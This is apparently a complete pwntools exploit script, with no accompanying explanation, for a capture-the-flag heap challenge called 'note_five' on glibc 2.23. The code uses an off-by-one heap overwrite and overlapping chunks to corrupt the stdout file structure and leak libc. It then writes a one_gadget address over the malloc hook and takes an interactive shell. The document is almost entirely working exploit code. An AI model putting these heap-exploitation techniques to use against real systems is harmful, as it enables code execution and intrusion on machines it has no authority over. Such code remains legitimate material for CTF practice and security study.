1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
|
from pwn import * context.log_level = 'debug' host, port = "192.168.37.147", "9999" filename = "./note_five" elf = ELF(filename) context.arch = 'amd64'
if not args.REMOTE: libc = elf.libc
else: libc = ELF('./libc-2.23.so')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def getConn(): return process(filename) if not args.REMOTE else remote(host, port)
def get_PIE(proc): memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines() return int(memory_map[0].split("-")[0],16)
def debug(bp): script = "" PIE = get_PIE(p) PAPA = PIE for x in bp: script += "b *0x%x\n"%(PIE+x) gdb.attach(p,gdbscript=script)
def add(idx,size): p.sendlineafter('choice>> ','1') p.sendlineafter('idx: ',str(idx)) p.sendlineafter('size: ',str(size))
def edit(idx,content): p.sendlineafter('choice>> ','2') p.sendlineafter('idx: ',str(idx)) p.sendafter('content: ',content)
def free(idx): p.sendlineafter('choice>> ','3') p.sendlineafter('idx: ',str(idx))
global p p=getConn()
global p p=getConn() add(0, 0x98) add(1, 0x98) add(2, 0x98) add(3, 0x98)
free(0) edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0)) free(2)
add(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n') add(4, 0xe8) free(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n') add(4, 0xe8)
add(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0x0fbad1800) + p64(0) * 3 + p8(0) + '\n')
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.success('leak=%s'%hex(leak)) libc.address=leak-0x3c5600
log.success('libc.address=0x%x'%libc.address)
free(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
add(4, 0xe8)
add(0, 0xe8)
edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
free(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
add(4, 0xe8) add(0, 0xe8)
edit(0, '\0' * 0xa0 + p64(libc.address + 0x4526a) + p64(libc.symbols['realloc'] + 14) + '\n')
add(0,0xe8)
p.interactive()
|